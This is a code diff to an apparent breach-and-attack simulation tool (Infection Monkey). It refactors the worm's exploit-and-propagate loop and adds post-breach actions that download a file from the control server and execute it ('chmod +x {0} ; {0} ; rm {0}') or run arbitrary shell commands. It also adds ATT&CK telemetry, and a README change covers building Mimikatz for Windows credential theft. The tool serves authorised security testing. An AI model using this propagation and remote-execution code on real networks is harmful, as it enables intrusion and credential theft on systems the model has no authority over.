return matches[0] if (len(matches) > 0) else ips[0]
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
try:
s.connect((dst, 1))
ip_to_dst = s.getsockname()[0]
except KeyError:
ip_to_dst = '127.0.0.1'
finally:
s.close()
return ip_to_dst
else:
# based on scapy implementation
@ -430,17 +434,17 @@ def get_interface_to_target(dst):
routes = get_routes()
dst = atol(dst)
pathes = []
paths = []
for d, m, gw, i, a in routes:
aa = atol(a)
if aa == dst:
pathes.append((0xffffffff, ("lo", a, "0.0.0.0")))
paths.append((0xffffffff, ("lo", a, "0.0.0.0")))
if (dst & m) == (d & m):
pathes.append((m, (i, a, gw)))
if not pathes:
paths.append((m, (i, a, gw)))
if not paths:
return None
pathes.sort()
ret = pathes[-1][1]
paths.sort()
ret = paths[-1][1]
return ret[1]

View File

@ -9,12 +9,14 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools import SmbTools, WmiTools, AccessDeniedException, get_target_monkey, \
get_monkey_depth, build_monkey_commandline
from infection_monkey.model import DROPPER_CMDLINE_WINDOWS, MONKEY_CMDLINE_WINDOWS
from common.utils.exploit_enum import ExploitType
LOG = logging.getLogger(__name__)
class WmiExploiter(HostExploiter):
_TARGET_OS_TYPE = ['windows']
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
def __init__(self, host):
super(WmiExploiter, self).__init__(host)

View File

@ -16,6 +16,9 @@ from infection_monkey.network.network_scanner import NetworkScanner
from infection_monkey.system_info import SystemInfoCollector
from infection_monkey.system_singleton import SystemSingleton
from infection_monkey.windows_upgrader import WindowsUpgrader
from infection_monkey.post_breach.post_breach_handler import PostBreach
from common.utils.attack_utils import ScanStatus
from infection_monkey.transport.attack_telems.victim_host_telem import VictimHostTelem
__author__ = 'itamar'
@ -76,6 +79,9 @@ class InfectionMonkey(object):
LOG.info("Monkey couldn't find server. Going down.")
return
# Create a dir for monkey files if there isn't one
utils.create_monkey_dir()
if WindowsUpgrader.should_upgrade():
self._upgrading_to_64 = True
self._singleton.unlock()
@ -113,6 +119,8 @@ class InfectionMonkey(object):
action = action_class()
action.act()
PostBreach().execute()
if 0 == WormConfiguration.depth:
LOG.debug("Reached max depth, shutting down")
ControlClient.send_telemetry("trace", "Reached max depth, shutting down")
@ -167,44 +175,19 @@ class InfectionMonkey(object):
LOG.debug("Default server: %s set to machine: %r" % (self._default_server, machine))
machine.set_default_server(self._default_server)
successful_exploiter = None
# Order exploits according to their type
self._exploiters = sorted(self._exploiters, key=lambda exploiter_: exploiter_.EXPLOIT_TYPE.value)
host_exploited = False
for exploiter in [exploiter(machine) for exploiter in self._exploiters]:
if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
continue
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
result = False
try:
result = exploiter.exploit_host()
if result:
successful_exploiter = exploiter
break
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
finally:
exploiter.send_exploit_telemetry(result)
if successful_exploiter:
self._exploited_machines.add(machine)
LOG.info("Successfully propagated to %s using %s",
machine, successful_exploiter.__class__.__name__)
# check if max-exploitation limit is reached
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)
if self.try_exploiting(machine, exploiter):
host_exploited = True
VictimHostTelem('T1210', ScanStatus.USED.value, machine=machine).send()
break
else:
if not host_exploited:
self._fail_exploitation_machines.add(machine)
VictimHostTelem('T1210', ScanStatus.SCANNED.value, machine=machine).send()
if not self._keep_running:
break
if (not is_empty) and (WormConfiguration.max_iterations > iteration_index + 1):
time_to_sleep = WormConfiguration.timeout_between_iterations
@ -242,6 +225,7 @@ class InfectionMonkey(object):
self.send_log()
self._singleton.unlock()
utils.remove_monkey_dir()
InfectionMonkey.self_delete()
LOG.info("Monkey is shutting down")
@ -279,3 +263,50 @@ class InfectionMonkey(object):
log = ''
ControlClient.send_log(log)
def try_exploiting(self, machine, exploiter):
"""
Workflow of exploiting one machine with one exploiter
:param machine: Machine monkey tries to exploit
:param exploiter: Exploiter to use on that machine
:return: True if successfully exploited, False otherwise
"""
if not exploiter.is_os_supported():
LOG.info("Skipping exploiter %s host:%r, os is not supported",
exploiter.__class__.__name__, machine)
return False
LOG.info("Trying to exploit %r with exploiter %s...", machine, exploiter.__class__.__name__)
result = False
try:
result = exploiter.exploit_host()
if result:
self.successfully_exploited(machine, exploiter)
return True
else:
LOG.info("Failed exploiting %r with exploiter %s", machine, exploiter.__class__.__name__)
except Exception as exc:
LOG.exception("Exception while attacking %s using %s: %s",
machine, exploiter.__class__.__name__, exc)
finally:
exploiter.send_exploit_telemetry(result)
return False
def successfully_exploited(self, machine, exploiter):
"""
Workflow of registering successfully exploited machine
:param machine: machine that was exploited
:param exploiter: exploiter that succeeded
"""
self._exploited_machines.add(machine)
LOG.info("Successfully propagated to %s using %s",
machine, exploiter.__class__.__name__)
# check if max-exploitation limit is reached
if WormConfiguration.victims_max_exploit <= len(self._exploited_machines):
self._keep_running = False
LOG.info("Max exploited victims reached (%d)", WormConfiguration.victims_max_exploit)

View File

@ -0,0 +1,68 @@
from infection_monkey.post_breach.pba import PBA
from infection_monkey.control import ControlClient
from infection_monkey.config import WormConfiguration
from infection_monkey.utils import get_monkey_dir_path
import requests
import os
import logging
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
# Default commands for executing PBA file and then removing it
DEFAULT_LINUX_COMMAND = "chmod +x {0} ; {0} ; rm {0}"
DEFAULT_WINDOWS_COMMAND = "{0} & del {0}"
class FileExecution(PBA):
"""
Defines user's file execution post breach action.
"""
def __init__(self, linux_command="", windows_command=""):
self.linux_filename = WormConfiguration.PBA_linux_filename
self.windows_filename = WormConfiguration.PBA_windows_filename
super(FileExecution, self).__init__("File execution", linux_command, windows_command)
def _execute_linux(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.linux_filename)
return super(FileExecution, self)._execute_linux()
def _execute_win(self):
FileExecution.download_PBA_file(get_monkey_dir_path(), self.windows_filename)
return super(FileExecution, self)._execute_win()
def add_default_command(self, is_linux):
"""
Replaces current (likely empty) command with default file execution command (that changes permissions, executes
and finally deletes post breach file).
Default commands are defined as globals in this module.
:param is_linux: Boolean that indicates for which OS the command is being set.
"""
if is_linux:
file_path = os.path.join(get_monkey_dir_path(), self.linux_filename)
self.linux_command = DEFAULT_LINUX_COMMAND.format(file_path)
else:
file_path = os.path.join(get_monkey_dir_path(), self.windows_filename)
self.windows_command = DEFAULT_WINDOWS_COMMAND.format(file_path)
@staticmethod
def download_PBA_file(dst_dir, filename):
"""
Handles post breach action file download
:param dst_dir: Destination directory
:param filename: Filename
:return: True if successful, false otherwise
"""
PBA_file_contents = requests.get("https://%s/api/pba/download/%s" %
(WormConfiguration.current_server, filename),
verify=False,
proxies=ControlClient.proxies)
try:
with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file:
written_PBA_file.write(PBA_file_contents.content)
return True
except IOError as e:
LOG.error("Can not download post breach file to target machine, because %s" % e)
return False

View File

@ -0,0 +1,68 @@
import logging
from infection_monkey.control import ControlClient
import subprocess
import socket
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
class PBA(object):
"""
Post breach action object. Can be extended to support more than command execution on target machine.
"""
def __init__(self, name="unknown", linux_command="", windows_command=""):
"""
:param name: Name of post breach action.
:param linux_command: Command that will be executed on linux machine
:param windows_command: Command that will be executed on windows machine
"""
self.linux_command = linux_command
self.windows_command = windows_command
self.name = name
def run(self, is_linux):
"""
Runs post breach action command
:param is_linux: boolean that indicates on which os monkey is running
"""
if is_linux:
command = self.linux_command
exec_funct = self._execute_linux
else:
command = self.windows_command
exec_funct = self._execute_win
if command:
hostname = socket.gethostname()
ControlClient.send_telemetry('post_breach', {'command': command,
'result': exec_funct(),
'name': self.name,
'hostname': hostname,
'ip': socket.gethostbyname(hostname)
})
def _execute_linux(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.linux_command)
def _execute_win(self):
"""
Default linux PBA execution function. Override it if additional functionality is needed
"""
return self._execute_default(self.windows_command)
@staticmethod
def _execute_default(command):
"""
Default post breach command execution routine
:param command: What command to execute
:return: Tuple of command's output string and boolean, indicating if it succeeded
"""
try:
return subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True), True
except subprocess.CalledProcessError as e:
# Return error output of the command
return e.output, False

View File

@ -0,0 +1,83 @@
import logging
import infection_monkey.config
from file_execution import FileExecution
from pba import PBA
from infection_monkey.utils import is_windows_os
from infection_monkey.utils import get_monkey_dir_path
LOG = logging.getLogger(__name__)
__author__ = 'VakarisZ'
DIR_CHANGE_WINDOWS = 'cd %s & '
DIR_CHANGE_LINUX = 'cd %s ; '
class PostBreach(object):
"""
This class handles post breach actions execution
"""
def __init__(self):
self.os_is_linux = not is_windows_os()
self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration)
def execute(self):
"""
Executes all post breach actions.
"""
for pba in self.pba_list:
pba.run(self.os_is_linux)
LOG.info("Post breach actions executed")
@staticmethod
def config_to_pba_list(config):
"""
Returns a list of PBA objects generated from config.
:param config: Monkey configuration
:return: A list of PBA objects.
"""
pba_list = []
pba_list.extend(PostBreach.get_custom_PBA(config))
return pba_list
@staticmethod
def get_custom_PBA(config):
"""
Creates post breach actions depending on users input into 'custom post breach' config section
:param config: monkey's configuration
:return: List of PBA objects ([user's file execution PBA, user's command execution PBA])
"""
custom_list = []
file_pba = FileExecution()
command_pba = PBA(name="Custom")
if not is_windows_os():
# Add linux commands to PBA's
if config.PBA_linux_filename:
if config.custom_PBA_linux_cmd:
# Add change dir command, because user will try to access his file
file_pba.linux_command = (DIR_CHANGE_LINUX % get_monkey_dir_path()) + config.custom_PBA_linux_cmd
else:
file_pba.add_default_command(is_linux=True)
elif config.custom_PBA_linux_cmd:
command_pba.linux_command = config.custom_PBA_linux_cmd
else:
# Add windows commands to PBA's
if config.PBA_windows_filename:
if config.custom_PBA_windows_cmd:
# Add change dir command, because user will try to access his file
file_pba.windows_command = (DIR_CHANGE_WINDOWS % get_monkey_dir_path()) + \
config.custom_PBA_windows_cmd
else:
file_pba.add_default_command(is_linux=False)
elif config.custom_PBA_windows_cmd:
command_pba.windows_command = config.custom_PBA_windows_cmd
# Add PBA's to list
if file_pba.linux_command or file_pba.windows_command:
custom_list.append(file_pba)
if command_pba.windows_command or command_pba.linux_command:
custom_list.append(command_pba)
return custom_list

View File

@ -13,7 +13,7 @@ The monkey is composed of three separate parts.
Download and install from: https://www.python.org/downloads/release/python-2715/
2. Add python directories to PATH environment variable (if you didn't install ActiveState Python)
a. Run the following command on a cmd console (Replace C:\Python27 with your python directory if it's different)
setx /M PATH "%PATH%;C:\Python27;C:\Pytohn27\Scripts
setx /M PATH "%PATH%;C:\Python27;C:\Python27\Scripts
b. Close the console, make sure you execute all commands in a new cmd console from now on.
3. Install further dependencies
a. install VCForPython27.msi
@ -72,8 +72,7 @@ b. Download our pre-built sambacry binaries
-- Mimikatz --
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile from sources (requires Visual Studio 2013 and up) or download the binaries from
You can either build them yourself or download pre-built binaries.
Mimikatz is required for the Monkey to be able to steal credentials on Windows. It's possible to either compile binaries from source (requires Visual Studio 2013 and up) or download them from our repository.
a. Build Mimikatz yourself
a.0. Building mimikatz requires Visual Studio 2013 and up
a.1. Clone our version of mimikatz from https://github.com/guardicore/mimikatz/tree/1.1.0
@ -84,7 +83,7 @@ a. Build Mimikatz yourself
a.3.3. The zip file should be named mk32.zip/mk64.zip accordingly.
a.3.4. Zipping with 7zip has been tested. Other zipping software may not work.
b. Download our pre-built traceroute binaries
b. Download our pre-built mimikatz binaries
b.1. Download both 32 and 64 bit zipped DLLs from https://github.com/guardicore/mimikatz/releases/tag/1.1.0
b.2. Place them under [code location]\infection_monkey\bin

View File

@ -17,3 +17,4 @@ ipaddress
wmi
pymssql
pyftpdlib
enum34

View File

@ -17,4 +17,5 @@ ipaddress
wmi
pywin32
pymssql
pyftpdlib
pyftpdlib
enum34

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,41 @@
from infection_monkey.config import WormConfiguration, GUID
import requests
import json
from infection_monkey.control import ControlClient
import logging
__author__ = "VakarisZ"
LOG = logging.getLogger(__name__)
class AttackTelem(object):
def __init__(self, technique, status, data=None):
"""
Default ATT&CK telemetry constructor
:param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum
:param data: Other data relevant to the attack technique
"""
self.technique = technique
self.result = status
self.data = {'status': status, 'id': GUID}
if data:
self.data.update(data)
def send(self):
"""
Sends telemetry to island
"""
if not WormConfiguration.current_server:
return
try:
requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique),
data=json.dumps(self.data),
headers={'content-type': 'application/json'},
verify=False,
proxies=ControlClient.proxies)
except Exception as exc:
LOG.warn("Error connecting to control server %s: %s",
WormConfiguration.current_server, exc)

View File

@ -0,0 +1,18 @@
from infection_monkey.transport.attack_telems.base_telem import AttackTelem
__author__ = "VakarisZ"
class VictimHostTelem(AttackTelem):
def __init__(self, technique, status, machine, data=None):
"""
ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data
:param technique: Technique ID. E.g. T111
:param status: int from ScanStatus Enum
:param machine: VictimHost obj from model/host.py
:param data: Other data relevant to the attack technique
"""
super(VictimHostTelem, self).__init__(technique, status, data)
victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr}
self.data.update({'machine': victim_host})

View File

@ -1,5 +1,6 @@
import os
import sys
import shutil
import struct
from infection_monkey.config import WormConfiguration
@ -35,3 +36,25 @@ def utf_to_ascii(string):
# Converts utf string to ascii. Safe to use even if string is already ascii.
udata = string.decode("utf-8")
return udata.encode("ascii", "ignore")
def create_monkey_dir():
"""
Creates directory for monkey and related files
"""
if not os.path.exists(get_monkey_dir_path()):
os.mkdir(get_monkey_dir_path())
def remove_monkey_dir():
"""
Removes monkey's root directory
"""
shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
def get_monkey_dir_path():
if is_windows_os():
return WormConfiguration.monkey_dir_windows
else:
return WormConfiguration.monkey_dir_linux

View File

@ -27,9 +27,12 @@ from monkey_island.cc.resources.report import Report
from monkey_island.cc.resources.root import Root
from monkey_island.cc.resources.telemetry import Telemetry
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.resources.pba_file_upload import FileUpload
from monkey_island.cc.resources.attack_telem import AttackTelem
__author__ = 'Barak'
@ -121,6 +124,11 @@ def init_app(mongo_url):
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
api.add_resource(Log, '/api/log', '/api/log/')
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
'/api/fileUpload/<string:file_type>?load=<string:filename>',
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
return app

View File

@ -0,0 +1,24 @@
import flask_restful
from flask import request
import json
from monkey_island.cc.services.attack.attack_telem import set_results
import logging
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
class AttackTelem(flask_restful.Resource):
"""
ATT&CK endpoint used to retrieve matrix related info from monkey
"""
def post(self, technique):
"""
Gets ATT&CK telemetry data and stores it in the database
:param technique: Technique ID, e.g. T1111
"""
data = json.loads(request.data)
set_results(technique, data)
return {}

View File

@ -0,0 +1,14 @@
import flask_restful
from flask import send_from_directory
from monkey_island.cc.resources.pba_file_upload import GET_FILE_DIR
__author__ = 'VakarisZ'
class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)

View File

@ -0,0 +1,83 @@
import flask_restful
from flask import request, send_from_directory, Response
from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR
from monkey_island.cc.auth import jwt_required
import os
from werkzeug.utils import secure_filename
import logging
import copy
__author__ = 'VakarisZ'
LOG = logging.getLogger(__name__)
GET_FILE_DIR = "./userUploads"
# Front end uses these strings to identify which files to work with (linux of windows)
LINUX_PBA_TYPE = 'PBAlinux'
WINDOWS_PBA_TYPE = 'PBAwindows'
class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
@jwt_required()
def get(self, file_type):
"""
Sends file to filepond
:param file_type: Type indicates which file to send, linux or windows
:return: Returns file contents
"""
# Verify that file_name is indeed a file from config
if file_type == LINUX_PBA_TYPE:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
else:
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
return send_from_directory(GET_FILE_DIR, filename)
@jwt_required()
def post(self, file_type):
"""
Receives user's uploaded file from filepond
:param file_type: Type indicates which file was received, linux or windows
:return: Returns flask response object with uploaded file's filename
"""
filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
response = Response(
response=filename,
status=200, mimetype='text/plain')
return response
@jwt_required()
def delete(self, file_type):
"""
Deletes file that has been deleted on the front end
:param file_type: Type indicates which file was deleted, linux of windows
:return: Empty response
"""
filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
filename = ConfigService.get_config_value(filename_path)
file_path = os.path.join(UPLOADS_DIR, filename)
try:
if os.path.exists(file_path):
os.remove(file_path)
ConfigService.set_config_value(filename_path, '')
except OSError as e:
LOG.error("Can't remove previously uploaded post breach files: %s" % e)
return {}
@staticmethod
def upload_pba_file(request_, is_linux=True):
"""
Uploads PBA file to island's file system
:param request_: Request object containing PBA file
:param is_linux: Boolean indicating if this file is for windows or for linux
:return: filename string
"""
filename = secure_filename(request_.files['filepond'].filename)
file_path = os.path.join(UPLOADS_DIR, filename)
request_.files['filepond'].save(file_path)
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
return filename

View File

@ -10,6 +10,7 @@ from monkey_island.cc.services.config import ConfigService
from monkey_island.cc.services.node import NodeService
from monkey_island.cc.services.report import ReportService
from monkey_island.cc.utils import local_ip_addresses
from monkey_island.cc.services.post_breach_files import remove_PBA_files
__author__ = 'Barak'
@ -42,6 +43,7 @@ class Root(flask_restful.Resource):
@staticmethod
@jwt_required()
def reset_db():
remove_PBA_files()
# We can't drop system collections.
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
ConfigService.init_config()

View File

@ -257,6 +257,11 @@ class Telemetry(flask_restful.Resource):
if len(credential) > 0:
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
@staticmethod
def process_post_breach_telemetry(telemetry_json):
mongo.db.monkey.update(
{'guid': telemetry_json['monkey_guid']},
{'$push': {'pba_results': telemetry_json['data']}})
TELEM_PROCESS_DICT = \
{
@ -265,5 +270,6 @@ TELEM_PROCESS_DICT = \
'exploit': Telemetry.process_exploit_telemetry,
'scan': Telemetry.process_scan_telemetry,
'system_info_collection': Telemetry.process_system_info_telemetry,
'trace': Telemetry.process_trace_telemetry
'trace': Telemetry.process_trace_telemetry,
'post_breach': Telemetry.process_post_breach_telemetry
}

View File

@ -80,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource):
def get_trace_telem_brief(telem):
return 'Monkey reached max depth.'
@staticmethod
def get_post_breach_telem_brief(telem):
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
telem['data']['hostname'],
telem['data']['ip'])
TELEM_PROCESS_DICT = \
{
@ -88,5 +94,6 @@ TELEM_PROCESS_DICT = \
'exploit': TelemetryFeed.get_exploit_telem_brief,
'scan': TelemetryFeed.get_scan_telem_brief,
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
'trace': TelemetryFeed.get_trace_telem_brief
'trace': TelemetryFeed.get_trace_telem_brief,
'post_breach': TelemetryFeed.get_post_breach_telem_brief
}

View File

@ -0,0 +1 @@
__author__ = 'VakarisZ'

View File

@ -0,0 +1,19 @@
"""
File that contains ATT&CK telemetry storing/retrieving logic
"""
import logging
from monkey_island.cc.database import mongo
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
def set_results(technique, data):
"""
Adds ATT&CK technique results(telemetry) to the database
:param technique: technique ID string e.g. T1110
:param data: Data, relevant to the technique
"""
data.update({'technique': technique})
mongo.db.attack_results.insert(data)

View File

@ -4,6 +4,7 @@ import functools
import logging
from jsonschema import Draft4Validator, validators
from six import string_types
import monkey_island.cc.services.post_breach_files
from monkey_island.cc.database import mongo
from monkey_island.cc.encryptor import encryptor
@ -69,6 +70,12 @@ class ConfigService:
config = [encryptor.dec(x) for x in config]
return config
@staticmethod
def set_config_value(config_key_as_arr, value):
mongo_key = ".".join(config_key_as_arr)
mongo.db.config.update({'name': 'newconfig'},
{"$set": {mongo_key: value}})
@staticmethod
def get_flat_config(is_initial_config=False, should_decrypt=True):
config_json = ConfigService.get_config(is_initial_config, should_decrypt)
@ -128,6 +135,8 @@ class ConfigService:
@staticmethod
def update_config(config_json, should_encrypt):
# PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json)
if should_encrypt:
try:
ConfigService.encrypt_config(config_json)
@ -163,6 +172,7 @@ class ConfigService:
@staticmethod
def reset_config():
monkey_island.cc.services.post_breach_files.remove_PBA_files()
config = ConfigService.get_default_config(True)
ConfigService.set_server_ips_in_config(config)
ConfigService.update_config(config, should_encrypt=False)

View File

@ -313,6 +313,46 @@ SCHEMA = {
"title": "Behaviour",
"type": "object",
"properties": {
"custom_PBA_linux_cmd": {
"title": "Linux post breach command",
"type": "string",
"default": "",
"description": "Linux command to be executed after breaching."
},
"PBA_linux_file": {
"title": "Linux post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Linux post breach command' field. "
"Reference your file by filename."
},
"custom_PBA_windows_cmd": {
"title": "Windows post breach command",
"type": "string",
"default": "",
"description": "Windows command to be executed after breaching."
},
"PBA_windows_file": {
"title": "Windows post breach file",
"type": "string",
"format": "data-url",
"description": "File to be executed after breaching. "
"If you want custom execution behavior, "
"specify it in 'Windows post breach command' field. "
"Reference your file by filename."
},
"PBA_windows_filename": {
"title": "Windows PBA filename",
"type": "string",
"default": ""
},
"PBA_linux_filename": {
"title": "Linux PBA filename",
"type": "string",
"default": ""
},
"self_delete_in_cleanup": {
"title": "Self delete on cleanup",
"type": "boolean",
@ -423,7 +463,19 @@ SCHEMA = {
"type": "integer",
"default": 60,
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
}
},
"monkey_dir_windows": {
"title": "Monkey's windows directory",
"type": "string",
"default": r"C:\Windows\temp\monkey_dir",
"description": "Directory containing all monkey files on windows"
},
"monkey_dir_linux": {
"title": "Monkey's linux directory",
"type": "string",
"default": "/tmp/monkey_dir",
"description": "Directory containing all monkey files on linux"
},
}
},
"classes": {

View File

@ -142,7 +142,8 @@ class NodeService:
"group": NodeService.get_monkey_group(monkey),
"os": NodeService.get_monkey_os(monkey),
"dead": monkey["dead"],
"domain_name": ""
"domain_name": "",
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
}
@staticmethod

View File

@ -0,0 +1,43 @@
import monkey_island.cc.services.config
import logging
import os
__author__ = "VakarisZ"
logger = logging.getLogger(__name__)
# Where to find file names in config
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename']
PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename']
UPLOADS_DIR = 'monkey_island/cc/userUploads'
def remove_PBA_files():
if monkey_island.cc.services.config.ConfigService.get_config():
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
if linux_filename:
remove_file(linux_filename)
if windows_filename:
remove_file(windows_filename)
def remove_file(file_name):
file_path = os.path.join(UPLOADS_DIR, file_name)
try:
if os.path.exists(file_path):
os.remove(file_path)
except OSError as e:
logger.error("Can't remove previously uploaded post breach files: %s" % e)
def set_config_PBA_files(config_json):
"""
Sets PBA file info in config_json to current config's PBA file info values.
:param config_json: config_json that will be modified
"""
if monkey_island.cc.services.config.ConfigService.get_config():
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename
config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename

View File

@ -132,7 +132,8 @@ class ReportService:
(NodeService.get_displayed_node_by_id(edge['from'], True)
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
'services': node['services'],
'domain_name': node['domain_name']
'domain_name': node['domain_name'],
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
})
logger.info('Scanned nodes generated for reporting')

View File

@ -621,6 +621,7 @@
"resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz",
"integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=",
"dev": true,
"optional": true,
"requires": {
"kind-of": "^3.0.2",
"longest": "^1.0.1",
@ -2424,9 +2425,9 @@
}
},
"bootstrap": {
"version": "3.3.7",
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-3.3.7.tgz",
"integrity": "sha1-WjiTlFSfIzMIdaOxUGVldPip63E="
"version": "3.4.1",
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-3.4.1.tgz",
"integrity": "sha512-yN5oZVmRCwe5aKwzRj6736nSmKDX7pLYwsXiCj/EYmo16hODaBiT4En5btW/jhBF/seV+XMx3aYwukYC3A49DA=="
},
"bower-webpack-plugin": {
"version": "0.1.9",
@ -3292,7 +3293,7 @@
},
"yargs": {
"version": "11.1.0",
"resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
"resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
"integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==",
"dev": true,
"requires": {
@ -5122,6 +5123,11 @@
"dev": true,
"optional": true
},
"filepond": {
"version": "4.2.0",
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.2.0.tgz",
"integrity": "sha512-JTSvxTQGbCXMZGoPOIjCKImv+Al3Y5z3f6gRoUGlQdqpnMHdnwOV0WG3hRCVBDN64ctAN3pgKtofkWfsnwwoTA=="
},
"fill-range": {
"version": "2.2.3",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.3.tgz",
@ -5446,7 +5452,8 @@
"ansi-regex": {
"version": "2.1.1",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"aproba": {
"version": "1.1.1",
@ -5497,7 +5504,8 @@
"balanced-match": {
"version": "0.4.2",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"bcrypt-pbkdf": {
"version": "1.0.1",
@ -5536,7 +5544,8 @@
"buffer-shims": {
"version": "1.0.0",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"caseless": {
"version": "0.12.0",
@ -5807,7 +5816,8 @@
"inherits": {
"version": "2.0.3",
"bundled": true,
"dev": true
"dev": true,
"optional": true
},
"ini": {
"version": "1.3.4",
@ -6002,6 +6012,7 @@
"version": "1.4.0",
"bundled": true,
"dev": true,
"optional": true,
"requires": {
"wrappy": "1"
}
@ -6311,7 +6322,8 @@
"wrappy": {
"version": "1.0.2",
"bundled": true,
"dev": true
"dev": true,
"optional": true
}
}
},
@ -6396,6 +6408,7 @@
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz",
"integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=",
"dev": true,
"optional": true,
"requires": {
"is-glob": "^2.0.0"
}
@ -7636,7 +7649,8 @@
"version": "1.0.0",
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
"integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=",
"dev": true
"dev": true,
"optional": true
},
"is-finite": {
"version": "1.0.2",
@ -7658,6 +7672,7 @@
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
"integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=",
"dev": true,
"optional": true,
"requires": {
"is-extglob": "^1.0.0"
}
@ -7724,7 +7739,8 @@
"version": "2.0.0",
"resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
"integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=",
"dev": true
"dev": true,
"optional": true
},
"is-promise": {
"version": "2.1.0",
